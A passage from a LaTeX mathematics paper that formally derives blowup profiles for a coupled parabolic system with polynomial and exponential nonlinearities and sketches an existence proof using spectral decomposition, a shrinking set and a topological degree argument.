This two-step procedure has been successfully applied for various nonlinear evolution equations to construct both Type I and Type II blowup solutions. It was the case of the semilinear heat equation treated in \cite{BKnon94}, \cite{MZdm97}, \cite{NZens16} (see also \cite{NZsns16}, \cite{DNZtjm18} for the case of logarithmic perturbations, \cite{Breiumj90}, \cite{Brejde92} and \cite{GNZjde17} for the exponential source, \cite{NZcpde15} for the complex-valued case), the Ginzburg-Landau equation in \cite{MZjfa08}, \cite{NZarma18} (see also \cite{ZAAihn98} for an earlier work). It was also the nonlinear Schr\"odinger equation both in the mass critical \cite{MRgfa03,MRim04, MRam05, MRcmp05} and mass supercritical \cite{MRRcjm15} cases; the energy critical \cite{DKMcjm13}, \cite{HRapde12} and supercritical \cite{Car161} wave equation; the mass critical gKdV equation \cite{MMRam14, MMRasp15, MMRjems15}; the two dimensional Keller-Segel model \cite{RSma14}; the energy critical and supercritical geometric equations: the wave maps \cite{RRmihes12} and \cite{GINjde18}, the Schr\"odinger maps \cite{MRRim13} and the harmonic heat flow \cite{RScpam13, RSapde2014} and \cite{GINapde18}; the semilinear heat equation in the energy critical \cite{Sjfa12} and supercritical \cite{Car16} cases.\\
As a consequence of our technique, we obtained the following stability result.
\begin{theorem} The constructed solutions described in Theorem \ref{theo:1} and Theorem \ref{theo:2} are stable with respect to initial data.
\end{theorem}
\begin{remark} The idea behind the stability result can be formally understood from the space-time and scaling invariance of the problem as follows: The linearized operator around the expected profile has two positive eigenvalues $\lambda_0 = 1, \lambda_1 = \frac{1}{2}$, a zero eigenvalue $\lambda_2 = 0$, then a an infinity discrete negative spectrum. From the analysis of stability of blowup problems, the component corresponding to $\lambda_0 = 1$ has the exponential growth $e^s$, which can be eliminated by a changing of the blowup time; similarly for the mode $\lambda_1 = \frac{1}{2}$ by a shifting of the blowup point; the neutral mode $\lambda_2 = 0$ usually has a polynomial growth and can be eliminated by using the scaling invariance of the problem. Since the remaining modes of the linearized operator corresponding to the negative spectrum decay exponentially, one derive the stability of the constructed solutions described in Theorem \ref{theo:1} and Theorem \ref{theo:2}. From the stability result, we expect that the blowup profiles \eqref{def:PhiPsi1} and \eqref{def:PhiPsi2} are generic, i.e. the other blowup profiles are unstable. In our opinion, this is a difficult open question whose a partly particular answer was given by Herrero-Vel\'azquez \cite{HVasnsp92} for the one dimensional semilinear heat equation.
\end{remark}
\section{A formal computation of the blowup profile.}
We brieftly recall in this section the formal approaches in \cite{GNZihp18,GNZjde18} to construct a suitable approximate blowup profile for system \eqref{sys:uv}. Similar approaches can be found in \cite{TZnor15, TZpre15}, \cite{GNZjde17}, \cite{NZarma18} and references therein. The method is based on matched asymptotic expansions which mainly replies on the spectral properties of the linearized operator around an expected profile. \\
\paragraph{Similarity variables:} We perform the well known change of variables
\begin{eqnarray}
&\Phi(y,s) = (T-t)^\alpha u(x,t), \quad \Psi(y,s) = (T-t)^\beta v(x,t) &\quad \textup{for}\; \eqref{def:fg1},\label{def:sim1} \\
&\Phi(y,s) = (T-t) e^{qu(x,t)}, \quad \Psi(y,s) = (T-t) e^{pv(x,t)} &\quad \textup{for}\; \eqref{def:fg2},\label{def:sim2}
\end{eqnarray}
where $\alpha, \beta$ are introduced in \eqref{def:Gg} and
\begin{equation*}
y = \frac{x}{\sqrt{T-t}}, \quad s = -\log(T-t).
\end{equation*}
In this way, $(\Phi, \Psi)$ satisfies the new system
\begin{eqnarray}
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{ll}
\partial_s\Phi &= \mathcal{L}_1 \Phi - \alpha\Phi + |\Psi|^{p-1}\Psi,\\
\partial_s\Psi &= \mathcal{L}_\mu \Psi - \beta\Psi + |\Phi|^{p-1}\Phi,
\end{array} \right. &\quad \textup{for \eqref{def:fg1},} \label{sys:PhiPsi1}\\
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{l}
\partial_s \Phi = \mathcal{L}_1 \Phi - \Phi - \dfrac{|\nabla \Phi|^2}{\Phi} + q \Phi \Psi,\\
\partial_s \Psi = \mathcal{L}_\mu \Psi - \Psi - \mu\dfrac{|\nabla \Psi|^2}{\Psi} + p \Phi \Psi,\end{array}\right. &\quad \textup{for \eqref{def:fg2},} \label{sys:PhiPsi2}
\end{eqnarray}
where
\begin{equation}\label{def:Leta}
\mathcal{L}_\eta f = \eta \Delta f - \frac{y}{2}\cdot \nabla f = \frac{\eta}{\rho_\eta} \nabla \cdot \big(\rho_\eta \nabla f\big) \quad \textup{with} \quad \eta \in \{1, \mu\},
\end{equation}
is the self-adjoint operator with respect to the Hilbert space $L^2_{\rho_\eta}(\mathbb{R}^N, \mathbb{R})$ equipped with the inner product
$$\big<f,g\big>_{L^2_{\rho_\eta}} = \int_{\mathbb{R}^N}f(y) g(y) \rho_\eta(y) dy \quad \textup{with} \quad \rho_\eta(y) = \frac{1}{(4\pi)^{N/2}}e^{-\frac{|y|^2}{4\eta}}.$$
\paragraph{Linearized problem and spectral properties of the associated linearized operator:} Note that the nonzero constant solutions to systems \eqref{sys:PhiPsi1} and \eqref{sys:PhiPsi2} are $(\Gamma, \gamma)$ and $(1/p, 1/q)$ respectively. This suggests the linearization
\begin{equation}\label{eq:linPhiPsicons}
\big(\bar \Phi, \bar \Psi\big) = \big(\Phi - \Gamma, \Psi - \gamma\big)\;\; \textup{for \eqref{def:fg1}} \quad \textup{and} \quad \big(\bar \Phi, \bar \Psi\big) = \big(\Phi - 1/p, \Psi - 1/q\big) \;\; \textup{for \eqref{def:fg2}},
\end{equation}
where $(\bar \Phi, \bar \Psi)$ solves the system
\begin{equation}\label{sys:barPhiPsi}
i = 1, 2, \quad \partial_s \binom{\bar \Phi}{\bar \Psi} = \left(\mathcal{H} + \mathcal{M}_i\right)\binom{\bar \Phi}{\bar \Psi} + \binom{Q_{i,1}}{Q_{i,2}},
\end{equation}
where $i = 1$ stands for the polynomial nonlinearity \eqref{def:fg1} and $i = 2$ for the exponential case \eqref{def:fg2}, $Q_{i, 1}$ and $Q_{i,2}$ are built to be quadratic, and the linear operator $\mathcal{H}$ and matrices $\mathcal{M}_i$'s are defined by
\begin{equation}\label{def:Hc}
\mathcal{H} = \left(\begin{matrix}
\mathcal{L}_1 & 0\\ 0 &\mathcal{L}_\mu
\end{matrix} \right), \quad \mathcal{M}_1 = \begin{pmatrix}
-\alpha &\; p\gamma^{p-1}\\
q\Gamma^{q-1} &\; -\beta
\end{pmatrix}, \quad \mathcal{M}_2 = \left(\begin{matrix}
0 & q/p\\ p/q &0
\end{matrix} \right).
\end{equation}
The following lemma gives the spectral properties of $\mathcal{H} + \mathcal{M}_i$.
\begin{lemma}[Diagonalization of $\mathcal{H} + \mathcal{M}_i$] \label{lemm:diagonal} For all $n \in \mathbb{N}$, there exist polynomials $f_n, g_n, \tilde{f}_n$ and $\tilde{g}_n$ of degree $n$ such that
\begin{equation}\label{eq:HMspec1}
\Big(\mathcal{H}+ \mathcal{M}_i\Big)\binom{f_n}{g_n} = \left(1 - \frac{n}{2}\right)\binom{f_n}{g_n}, \quad \Big(\mathcal{H}+ \mathcal{M}_i\Big)\binom{\tilde{f}_n}{\tilde{g}_n} = \lambda^-_{i,n}\binom{\tilde{f}_n}{\tilde{g}_n},
\end{equation}
where
$$\lambda^-_{1,n} = -\left(\frac{n}{2} + \frac{(p+1)(q+1)}{pq-1}\right) , \quad \lambda^-_{2,n} = - \left(1 + \frac{n}{2}\right).$$
\end{lemma}
\begin{proof} See Lemma 3.2 in \cite{GNZihp18} for the polynomial case \eqref{def:fg1} and Lemma 2.2 in \cite{GNZjde18} for the exponential case \eqref{def:fg2}. The reader is kindly invited to have a look at precise formulas of the eigenfunctions as well as a proper definition of the projection according to these eigenmodes in those papers. \end{proof}
\paragraph{Inner expansion:} From Lemma \ref{lemm:diagonal}, we know that $\binom{f_n}{g_n}_{n \geq 3}$ and $\binom{\tilde f_n}{\tilde g_n}_{n \geq 0}$ correspond to negative eigenvalues of $\mathcal{H} + \mathcal{M}_i$, therefore, we may consider the following formal expansion under the radially symmetric assumption of the solution,
\begin{equation}\label{eq:decomPhiPsibar}
\binom{\bar \Phi}{\bar \Psi}(y,s) = a_0(s) \binom{f_0}{g_0}(y) + a_2(s)\binom{f_2}{g_2},
\end{equation}
where $|a_0(s)| + |a_2(s)| \to 0$ as $s \to +\infty$. Plugging this ansatz into \eqref{sys:barPhiPsi} and projecting onto $\binom{f_k}{g_k}, k = 0, 2$ yields the ordinary differential system
\begin{equation}\label{sys:a02}
\arraycolsep=1.4pt\def2{2}
\left\{\begin{array}{ll}
a_0' &= a_0 + \mathcal{O}(|a_0|^2 + |a_2|^2),\\
a_2' &= c_{*} a_2^2 + \mathcal{O}(|a_2|^3 + |a_0 a_2| + |a_0|^3),
\end{array}\right.
\end{equation}
where
$$c_* = \frac{2pq + p + q}{4pq(p+1)(q+1)(\mu + 1)} \;\; \textup{for \eqref{def:fg1}} \quad \textup{and}\quad c_* = 2pq(\mu + 1) \;\; \textup{for \eqref{def:fg2}}.$$
Assume that $|a_0(s)| = o(|a_2(s)|)$ as $s \to +\infty$, we get
$$a_2(s) = -\frac{1}{c_* s} + \mathcal{O}\left(\frac{\log s}{s^2}\right) \quad \textup{and} \quad |a_0(s)| = \mathcal{O}\left(\frac{1}{s^2}\right) \quad \textup{as} \;\; s \to +\infty.$$
From \eqref{eq:decomPhiPsibar}, \eqref{eq:linPhiPsicons} and the definition of the eigenfuntion $\binom{f_2}{g_2}$, we end up with the asymptotic behavior
\begin{eqnarray}
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{ll}
\Phi(y,s) &= \Gamma\left[1 - \frac{p+1}{c_*}\frac{|y|^2}{s} - \frac{2p(1 - \mu)}{c_* s} \right] + \mathcal{O}\left(\frac{\log s}{s^2}\right),\\
\Psi(y,s) &= \gamma\left[1 - \frac{q+1}{c_*}\frac{|y|^2}{s} - \frac{2q(\mu - 1)}{c_* s} \right] + \mathcal{O}\left(\frac{\log s}{s^2}\right),
\end{array} \right. &\quad \textup{for \eqref{sys:PhiPsi1},} \label{asy:PhiPsi1}\\
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{l}
\Phi(y,s) = \frac{1}{p}\left[ 1 - \frac{pq}{c_*}\frac{|y|^2}{s} + \frac{2\mu pq}{c_*s}\right] + \mathcal{O}\left(\frac{\log s}{s^2}\right),\\
\Psi(y,s) = \frac{1}{q} \left[ 1 - \frac{pq}{c_*}\frac{|y^2|}{s} + \frac{2pq}{c_*s} \right] + \mathcal{O}\left(\frac{\log s}{s^2}\right),
\end{array}\right. &\quad \textup{for \eqref{sys:PhiPsi2},} \label{asy:PhiPsi2}
\end{eqnarray}
where the convergence takes place in $L_{\rho_1}^2(\mathbb{R}^N) \times L^2_{\rho_\mu}(\mathbb{R}^N)$ as well as uniformly on compact sets by standard parabolic regularity.\\
\paragraph{Outer expansion:} These above asymptotic expansions provide a relevant blowup variable
\begin{equation*}
z = \frac{y}{\sqrt{s}} = \frac{x}{\sqrt{(T-t)|\log (T-t)|}}.
\end{equation*}
We then try to search an approximate solution to \eqref{sys:PhiPsi1} (respectively \eqref{sys:PhiPsi2}) of the form
\begin{equation}
\binom{\Phi}{\Psi}(y,s) = \binom{\Phi_0}{\Psi_0}(z) + \frac{1}{s}\binom{\Phi_1}{\Phi_1}(z) + \cdots,
\end{equation}
Plugging this anzats to \eqref{sys:PhiPsi1} (respectively \eqref{sys:PhiPsi2}) yields the leading order system
\begin{eqnarray}
-\frac{z}{2}\Phi_0' - \alpha\Phi_0 + \Phi_0^p = 0, \quad -\frac{z}{2}\Psi_0' - \beta\Psi_0 + \Psi_0^q = 0,& \quad \textup{for \eqref{sys:PhiPsi1}}, \label{sys:ode1}\\
-\frac{z}{2}\Phi_0' - \Phi_0 + q\Phi_0 \Psi_0 = 0, \quad -\frac{z}{2}\Psi_0' - \Psi_0 + p\Phi_0\Psi_0 = 0,& \quad \textup{for \eqref{sys:PhiPsi2}}, \label{sys:ode2}
\end{eqnarray}
subject to the initial condition
$$\big(\Phi_0, \Psi_0\big)(0) = \big(\Gamma, \gamma\big) \;\; \textup{for \eqref{asy:PhiPsi1}} \quad \textup{and} \quad \big(\Phi_0, \Psi_0\big)(0) = \big(1/p, 1/q\big) \;\; \textup{for \eqref{asy:PhiPsi2}}.$$
The solutions of these system are explicitly given by
\begin{eqnarray}
\Phi_0(z) = \frac{\Gamma}{(1 + b|z|^2)^{\alpha}}, \quad \Psi_0(z) = \frac{\gamma}{(1 + b|z|^2)^{\beta}}& \quad \textup{for \eqref{sys:ode1}}, \label{sol:ode1}\\
\Phi_0(z) = \frac{1}{p(1 + b|z|^2)}, \quad \Psi_0(z) = \frac{1}{q(1 + b|z|^2)} & \quad \textup{for \eqref{sys:ode2}}, \label{sol:ode2}
\end{eqnarray}
where $b > 0$ is an integration constant. By matching the asymptotic expansions \eqref{sol:ode1} with \eqref{asy:PhiPsi1} and \eqref{sol:ode2} with \eqref{asy:PhiPsi2}, we obtain precisely the value of the constant $b$ as stated in Theorems \ref{theo:1} and \ref{theo:2} respectively.
In conclusion, we have formally derived the following approximate blowup profile:
\begin{eqnarray}
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{ll}
\Phi(y,s) & \sim \varphi(y,s) = \Phi_0\left(\frac{y}{\sqrt s}\right) - \frac{2\Gamma p(1 - \mu)}{c_* s},\\
\Psi(y,s) & \sim \psi(y,s) = \Psi_0\left(\frac{y}{\sqrt s}\right) - \frac{2\gamma q(\mu - 1)}{c_* s},
\end{array} \right. &\quad \textup{for \eqref{sys:PhiPsi1},} \label{def:pro1}\\
\left\{\arraycolsep=1.6pt\def2{2}
\begin{array}{ll}
\Phi(y,s) = & \sim \varphi(y,s) = \Phi_0\left(\frac{y}{\sqrt s}\right) + \frac{2\mu q}{c_*s},\\
\Psi(y,s) = & \sim \psi(y,s) = \Psi_0\left(\frac{y}{\sqrt s}\right) + \frac{2p}{c_*s},
\end{array}\right. &\quad \textup{for \eqref{sys:PhiPsi2}.} \label{def:pro2}
\end{eqnarray}
\section{The existence proof without technical details.}
We present all main arguments of the existence proof without technical details for which we kindly refer the interested reader to our papers \cite{GNZihp18, GNZjde18}. We first deal with the polynomial case \eqref{def:fg1}, i.e. the proof of Theorem \ref{theo:1}, then the exponential case \eqref{def:fg2}, i.e. the proof of Theorem \ref{theo:2}, which is more delicate due to the presence of the terms $\frac{|\nabla \Phi|^2}{\Phi}$ and $\frac{|\nabla \Psi|^2}{\Psi}$ in the similarity variables setting (see \eqref{sys:PhiPsi2}).
\subsection{The polynomial case \eqref{def:fg1}.}
This subsection is devoted to the proof of part $(ii)$ of Theorem \ref{theo:1}. Parts $(i)$ and $(iii)$ are consequences of part $(ii)$. The reader can find all details of the proof in \cite{GNZihp18}.
\paragraph{Formulation of the problem:} In view of the similarity variables \eqref{def:sim1}, we see that constructing blowup solutions for \eqref{sys:uv} coupled with \eqref{def:fg1} satisfying the asymptotic behavior \eqref{eq:asymuv1} is equivalent to constructing for \eqref{sys:PhiPsi1} a global in time solution $(\Phi, \Psi)$ such that
\begin{equation}\label{eq:goal1}
\sup_{y \in \mathbb{R}^N}\Big( \big|\Phi(y,s) - \Phi^*(y/\sqrt{s})\big| + \big|\Psi(y,s) - \Psi^*(y/\sqrt{s})\big|\Big) \to 0 \quad \textup{as} \;\; s \to +\infty,
\end{equation}
where $\Phi^*$ and $\Psi^*$ are the profiles defined in Theorem \ref{theo:1}. From the formal computation of an approximate blowup profile presented in the previous section, we linearize \eqref{sys:PhiPsi1} around $(\varphi, \psi)$ defined in \eqref{def:pro1} instead of $(\Phi^*, \Psi^*)$, namely that we introduce
\begin{equation}
\binom{\Lambda}{\Upsilon} = \binom{\Phi}{\Psi} - \binom{\varphi}{\psi},
\end{equation}
which leads the linearized system
\begin{equation}\label{eq:LamUp}
\partial_s \binom{\Lambda}{\Upsilon} = \Big(\mathcal{H} + \mathcal{M}_1 + V(y,s)\Big)\binom{\Lambda}{\Upsilon} + \binom{F_1(\Upsilon, y,s)}{F_2(\Lambda, y,s)} + \binom{R_1(y,s)}{R_2(y,s)},
\end{equation}
where $\mathcal{H}$ and $\mathcal{M}_1$ are defined in \eqref{def:Hc},
\begin{equation}\label{def:Vys}
V(y,s) = \begin{pmatrix}
0 & p\big(\psi^{p-1} - \gamma^{p-1}\big)\\ q\big(\varphi^{q-1} - \Gamma^{q-1}\big) &0
\end{pmatrix} \equiv \begin{pmatrix}
0 & V_1\\ V_2 & 0
\end{pmatrix},
\end{equation}
\begin{equation}\label{def:Bys}
\binom{F_1(\Upsilon, y,s)}{F_2(\Lambda, y,s)} = \binom{|\Upsilon + \psi|^{p-1}(\Upsilon + \psi) - \psi^p - p\psi^{p-1}\Upsilon}{|\Lambda + \varphi|^{q-1}(\Lambda + \varphi) - \varphi^q - q\varphi^{q-1}\Lambda},
\end{equation}
and
\begin{equation}\label{def:Rys}
\binom{R_1(y,s)}{R_2(y,s)} = \binom{-\partial_s \varphi + \Delta \varphi - \frac{1}{2}y\cdot \nabla \varphi - \left(\frac{p+1}{pq-1}\right)\varphi + \psi^p}{-\partial_s \psi + \mu\Delta \psi - \frac{1}{2}y\cdot \nabla \psi - \left(\frac{q+1}{pq-1}\right)\psi + \varphi^q}.
\end{equation}
Our aim turns to construct for system \eqref{eq:LamUp} a global in time solution $(\Lambda, \Upsilon)$ verifying
\begin{equation}\label{eq:goalLU}
\sup_{y \in \mathbb{R}^N} \Big(\big|\Lambda(y,s)\big| + \big|\Upsilon(y,s)\big|\Big) \to 0 \quad \textup{as}\;\; s \to +\infty.
\end{equation}
Since the solution $(\Lambda, \Upsilon)$ goes to zero as $s \to +\infty$ and the nonlinear term $(F_1, F_2)$ is built to be quadratic and the error term $(R_1, R_2)$ is of the size $s^{-1}$, we see that the dynamics of \eqref{eq:LamUp} are strongly influenced by the linear part $\mathcal{H} + \mathcal{M}_1 + V$. Here the potential $V$ behaves differently as follows:\\
- Outer region, i.e. $|y| \gtrsim \sqrt{s}$: for all $\epsilon > 0$, there exists $K_\epsilon > 0$ and $s_\epsilon > 0$ such that
$$\sup_{|y| \geq K_\epsilon \sqrt{s}, s \geq s_\epsilon}|V(y,s)| \leq \epsilon.$$
From Lemma \ref{lemm:diagonal}, we see that the linear operator $\mathcal{H} + \mathcal{M}_1 + V$ behaves as one with fully negative spectrum in the outer region, which makes analysis in this region simpler.\\
- Inner region, i.e. $|y| \lesssim \sqrt{s}$: the potential $V$ is considered as a perturbation of the linear part $\mathcal{H} + \mathcal{M}_1$.
Since the behavior of $V$ in the inner and outer regions is different, this suggests to consider the dynamics of \eqref{eq:LamUp} for $|y| \lesssim \sqrt{s}$ and $|y| \gtrsim \sqrt{s}$ separately. To this end, we introduce the cut-off function
\begin{equation}\label{def:chi}
\chi(y,s) = \chi_0\left(\frac{|y|}{K\sqrt{s}}\right), \quad \chi_0 \in \mathcal{C}_0^\infty(\mathbb{R}^+, [0,1]), \quad \chi_0(r) = \left\{ \begin{array}{ll} 1 & \textup{for}\;\; r \in [0,1], \\
0 & \textup{for}\;\; r \geq 2,
\end{array} \right.
\end{equation}
where $K$ is a positive constant to be fixed large enough. We then define
\begin{equation}\label{def:LUe}
\binom{\Lambda_e}{\Upsilon_e} = \big(1 - \chi(y,s)\big)\binom{\Lambda}{\Upsilon}
\end{equation}
and consider the decomposition
\begin{equation}\label{def:decom}
\binom{\Lambda}{\Upsilon}(y,s) = \sum_{n \leq M} \left[ \theta_n(s) \binom{f_n}{g_n} + \tilde{\theta}_n \binom{\tilde{f}_n}{\tilde{g}_n} \right] + \binom{\Lambda_-}{\Upsilon_-}(y,s),
\end{equation}
where $\theta_n = \Pi_{n}\binom{\Lambda}{\Upsilon}$ and $\tilde \theta_n = \tilde \Pi_n \binom{\Lambda}{\Upsilon}$ with $\Pi_n$ and $\tilde{\Pi}_n$ being the projections onto the modes $\binom{f_n}{g_n}$ and $\binom{\tilde f_n}{\tilde g_n}$ respectively, and $\binom{\Lambda_-}{\Upsilon_-} = \Pi_{-,M}\binom{\Lambda}{\Upsilon}$ is called the infinite-dimensional part with $\Pi_{-,M}$ being the projector on the eigen-subspace corresponding the spectrum of $\mathcal{H}$ lower than $\frac{1 - M}{2}$. Note that the decomposition \ref{def:decom} is unique. \\
\paragraph{Preparation of initial data and Definition of the shrinking set:} Given $A > 1$ and $s_0 \geq e$, we consider the initial data for system \eqref{eq:LamUp} of the form
\begin{equation}\label{def:idata}
\binom{\Lambda}{\Upsilon}_{A, s_0, d_0, d_1}(y) = \frac{A}{s_0^2}\left[d_0\binom{f_0}{g_0} + d_1 \cdot \binom{f_1}{g_1}\right] \chi(y, s_0),
\end{equation}
where $d_0 \in \mathbb{R}$ and $d_1 \in \mathbb{R}^N$ are parameters of the problem. Our aim is to show that for a fixed large constant $A$, then $s_0 = s_0(A)$ is fixed large as well, there exist $(d_0, d_1) \in \mathbb{R}^{1 + N}$ so that system \eqref{eq:LamUp} with initial data at $s = s_0$ given by \eqref{def:idata} has the unique solution $(\Lambda, \Upsilon)$ satisfies \eqref{eq:goalLU}. More precisely, we will show that the solution $(\Lambda, \Upsilon)$ belongs to the following shrinking set:
\begin{definition}[Definition of a shrinking set] \label{def:VA} For all $A \geq 1$ and $s \geq e$, we defined $\mathcal{V}_A(s)$ as the set of all $(\Lambda,\Upsilon) \in L^\infty(\mathbb{R}^N) \times L^\infty(\mathbb{R}^N)$ such that
$$|\theta_0(s)| \leq \frac{A}{s^2}, \quad |\theta_1(s)| \leq \frac{A}{s^2}, \quad |\theta_2(s)| \leq \frac{A^4 \log s}{s^2},$$
$$|\theta_j(s)|\leq \frac{A^j}{s^\frac{j+1}{2}},\quad |\tilde{\theta}_j(s)| \leq \frac{A^j}{s^\frac{j+1}{2}} \;\; \text{for}\;\; 3\leq j\leq M, \quad |\tilde \theta_i(s)| \leq \frac{A^{2}}{s^2}\;\; \text{for}\;\; i = 0, 1,2,$$
$$ \left\|\frac{\Lambda_-(y,s)}{1 + |y|^{M+1}} \right\|_{L^\infty(\mathbb{R}^N)}\leq \frac{A^{M+1}}{s^{\frac{M+2}{2}}},\quad \left\|\frac{\Upsilon_-(y,s)}{1 + |y|^{M+1}} \right\|_{L^\infty(\mathbb{R}^N)} \leq \frac{A^{M+1}}{s^{\frac{M+2}{2}}},$$
$$\|\Lambda_e(s)\|_{L^\infty(\mathbb{R}^N)} \leq \frac{A^{M+2}}{\sqrt{s}},\quad \|\Upsilon_e(s)\|_{L^\infty(\mathbb{R}^N)} \leq \frac{A^{M+2}}{\sqrt{s}},$$
where $\Lambda_e, \Upsilon_e$ are defined by \eqref{def:LUe}, $\Lambda_-, \Upsilon_-$, $\theta_n$, $\tilde \theta_n$ are defined as in decomposition \eqref{def:decom}.
\end{definition}
\begin{remark} \label{rem:1} We can check that if $\binom{\Lambda}{\Upsilon} \in \mathcal{V}_A(s)$ for $s \geq e$, then
\begin{equation}\label{eq:LUinVAest}
\|\Lambda(s)\|_{L^\infty(\mathbb{R})} + \|\Upsilon(s)\|_{L^\infty(\mathbb{R})} \leq \frac{CA^{M+2}}{\sqrt{s}},
\end{equation}
for some positive constant $C$, hence, estimate \eqref{eq:goalLU} is proved.
\end{remark}
In the following we make sure that the initial data \eqref{def:idata} belongs to $\mathcal{V}_A(s_0)$.
\begin{proposition}[Properties of initial data \eqref{def:idata}] \label{prop:properinti} For each $A \gg 1$, there exist $s_0(A) \gg 1$ and a cuboid $\mathcal{D}_{s_0} \subset [-A, A]^{1 + N}$ such that for all $(d_0, d_1) \in \mathcal{D}_{s_0}$, the following properties hold:
\begin{itemize}
\item[(i)] The initial data \eqref{def:idata} belongs to $\mathcal{V}_A(s_0)$ with strict inequalities except for the estimates of $\theta_{0}(s_0)$ and $\theta_1(s_0)$.
\item[(ii)] The map $\Theta: \mathcal{D}_{s_0} \to \mathbb{R}^{1 + N}$, defined as $\Theta(d_0, d_1) = (\theta_0(s_0), \theta_1(s_0))$, is linear, one to one from $\mathcal{D}_{s_0}$ to $[-As_0^{-2}, As_0^{-2}]^{1 + N}$, and maps $\partial \mathcal{D}_{s_0}$ into $\partial \big([-As_0^{-2}, As_0^{-2}]^{1 + N}\big)$. Moreover, the degree of $\Theta$ on the boundary is different from zero.
\end{itemize}
\end{proposition}
\begin{proof} See Proposition 3.3 in \cite{GNZihp18}.
\end{proof}
\paragraph{Existence of a solution to \eqref{eq:LamUp} trapped in $\mathcal{V}_A(s)$:} From Remark \ref{rem:1}, we aim at proving the following.
\begin{proposition}[Existence of a solution of \eqref{eq:LamUp} trapped in $\mathcal{V}_A(s)$] \label{prop:goalVA} There exists $A_1$ such that for all $A \geq A_1$, there exists $s_{0,1}(A)$ such that for all $s_0 \geq s_{0,1}$, there exists $(d_0,d_1)$ such that if $\binom{\Lambda}{\Upsilon}$ is the solution of \eqref{eq:LamUp} with initial data at $s_0$ given by \eqref{def:idata}, then $\binom{\Lambda(s)}{\Upsilon(s)} \in \mathcal{V}_A(s)$ for all $s \geq s_0$.
\end{proposition}
\begin{proof} For a fixed constant $A \gg 1$ and $s_0(A) \gg 1$, we note from the local Cauchy problem for system \eqref{sys:uv}-\eqref{def:fg1} in $L^\infty(\mathbb{R}^N) \times L^\infty(\mathbb{R}^N)$ that for each initial data \eqref{def:idata}, system \eqref{eq:LamUp} has a unique solution which stays in $\mathcal{V}_{A}(s)$ until some maximum time $s_* = s_*(d_0,d_1)$. If $ s_*(d_0,d_1)= +\infty$ for some $(d_0,d_1) \in \mathcal{D}_{s_0}$, then the proof is complete. Otherwise, we argue by contradiction and suppose that $s_*(d_0,d_1) < +\infty$ for any $(d_0,d_1) \in \mathcal{D}_{s_0}$. By continuity and the definition of $s_*$, we note that the solution at time $s_*$ is on the boundary of $\mathcal{V}_{A}(s_*)$. Thus, at least one of the inequalities in the definition of $\mathcal{V}_A(s_*)$ is an equality. In the following proposition, we show that this can happen only for the two components $\theta_0(s_*)$ and $\theta_1(s_*)$.
\begin{proposition}[Reduction to a finite dimensional problem] \label{prop:redu} Assume that $\binom{\Lambda}{\Upsilon}$ is a solution of \eqref{eq:LamUp} with initial data at $s = s_0$ given by \eqref{def:idata} with $(d_0,d_1) \in \mathcal{D}_{s_0}$, and $\binom{\Lambda(s)}{\Upsilon(s)} \in \mathcal{V}_{A}(s)$ for all $s \in [s_0, s_1]$ for some $s_1 \geq s_0$ and $\binom{\Lambda(s_1)}{\Upsilon(s_1)} \in \partial \mathcal{V}_A(s_1)$, then
\begin{itemize}
\item[(i)] $\big(\theta_0(s_1), \theta_1(s_1)\big) \in \partial \left( \left[-\frac{A}{s_1^2}, \frac{A}{s_1^2}\right]\right)^{1 + N}$.
\item[(ii)] There exists $\nu_0 > 0$ such that
$$\forall \nu \in (0, \nu_0), \quad \binom{\Lambda(s_1 + \nu)}{\Upsilon(s_1 + \nu)} \not \in \mathcal{V}_A(s_1 + \nu). $$
\end{itemize}
\end{proposition}
\begin{proof} The proof of Proposition \ref{prop:redu} is a direct consequence of the dynamics of system \eqref{eq:LamUp}. The idea is to project system \eqref{eq:LamUp} on the different components of the decomposition \eqref{def:decom} and \eqref{def:LUe}. For all details of the proof, see Section 5.2 in \cite{GNZihp18}.
\end{proof}
From part $(i)$ of Proposition \ref{prop:redu}, we see that
$$\big(\theta_0(s_*), \theta_1(s_*)\big) \in \partial \left( \left[-\frac{A}{s_*^2}, \frac{A}{s_*^2}\right]\right)^{1 + N}.$$
Hence, we may define the rescaled flow $\Theta$ at $s = s_*$ as follows:
\begin{align*}
\Theta: \mathcal{D}_{s_0} &\to \partial \big([-1,1]^{1 + N}\big)\\
(d_0,d_1) & \mapsto \frac{s_*^2}{A}\big(\theta_0, \theta_1\big)_{d_0,d_1}(s_*),
\end{align*}
which is continuous from part $(ii)$ of Proposition \ref{prop:redu}. On the other hand, from Proposition \ref{prop:properinti}, we have the strict inequalities for the other components for $(d_0,d_1) \in \partial \mathcal{D}_{s_0}$. Applying part $(ii)$ of Proposition \ref{prop:redu}, we see that $\binom{\Lambda(s)}{\Upsilon(s)}$ must leave $\mathcal{V}_A(s)$ at $s = s_0$, hence, $s_*(d_0,d_1) = s_0$. Recalling from part $(ii)$ of Proposition \ref{prop:properinti} that the degree of $\Theta$ on the boundary is different from zero. A contradiction then follows from the index theory. This concludes that there must exist $(d_0,d_1) \in \mathcal{D}_{s_0}$ such that for all $s \geq s_0$, $\binom{\Lambda(s)}{\Upsilon(s)} \in \mathcal{V}_A(s)$. This concludes the proof of Proposition \ref{prop:goalVA} as well as part $(ii)$ of Theorem \ref{theo:1}.
\end{proof}
\paragraph{Equivalence of the final blowup profile:} We present the main argument for the proof of part $(iii)$ of Theorem \ref{theo:1}. For each $x_0 \neq 0$ with $|x_0| \ll 1$, we introduce for all $(\xi, \tau) \in \mathbb{R} \times \left[-\frac{t_0(x_0)}{T - t_0(x_0)},1 \right)$ the auxillary functions
$$g(x_0, \xi, \tau) = (T-t_0(x_0))^\alpha u(x,t), \quad h(x_0, \xi, \tau) = (T-t_0(x_0))^\beta v(x,t),$$
where
\begin{equation}\label{eq:defx0t_0}
x = x_0 + \xi\sqrt{T - t_0(x_0)}, \quad t = t_0(x_0) + \tau(T - t_0(x_0)),
\end{equation}\label{eq:deft0x0unique}
and $t_0(x_0)$ is uniquely determined by
\begin{equation}\label{eq:relx0at0}
|x_0| = K\sqrt{(T - t_0(x_0))|\log (T - t_0(x_0))|} \quad \textup{for a fixed constant $K \gg 1$.}
\end{equation}
